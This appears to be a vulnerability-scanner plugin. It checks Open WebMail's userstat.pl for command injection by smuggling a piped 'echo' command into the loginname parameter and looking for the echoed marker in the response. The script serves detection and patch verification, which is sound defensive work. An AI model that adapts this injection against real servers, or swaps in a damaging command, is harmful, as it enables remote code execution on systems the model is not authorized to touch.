Open WebMail userstat.pl Arbitrary Command Execution

# SPDX-FileCopyrightText: 2004 George A. Theall
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:openwebmail.acatysmoof:openwebmail";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.15529");
  script_version("2023-08-01T13:29:10+0000");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_xref(name:"OSVDB", value:"4201");

  script_name("Open WebMail userstat.pl Arbitrary Command Execution");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2004 George A. Theall");
  script_family("Gain a shell remotely");
  script_dependencies("openwebmail_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("OpenWebMail/detected");

  script_xref(name:"URL", value:"http://www.openwebmail.org/openwebmail/download/cert/advisories/SA-04:01.txt");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/10316");

  script_tag(name:"impact", value:"This failure enables remote attackers to execute arbitrary programs on
  the target using the privileges under which the web server operates.");

  script_tag(name:"solution", value:"Upgrade to Open WebMail version 2.30 20040127 or later.");

  script_tag(name:"summary", value:"The target is running at least one instance of Open WebMail in which
  the userstat.pl component fails to sufficiently validate user input.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );
if( dir == "/" ) dir = "";

# We test whether the hole exists by trying to echo magic (urlencoded
# as alt_magic for http) and checking whether we get it back.
magic = "userstat.pl is vulnerable";
alt_magic = str_replace( string:magic, find:" ", replace:"%20" );

# nb: more interesting exploits are certainly possible, but my
# concern is in verifying whether the flaw exists and by echoing
# magic along with the phrase "has mail" I can do that.

url = string( dir, "/userstat.pl?loginname=|echo%20'", alt_magic, "%20has%20mail'" );
req = http_get( item:url, port:port );
res = http_keepalive_send_recv( port:port, data:req );
if( isnull( res ) ) exit( 0 ); # can't connect

if( egrep( string:res, pattern:magic ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );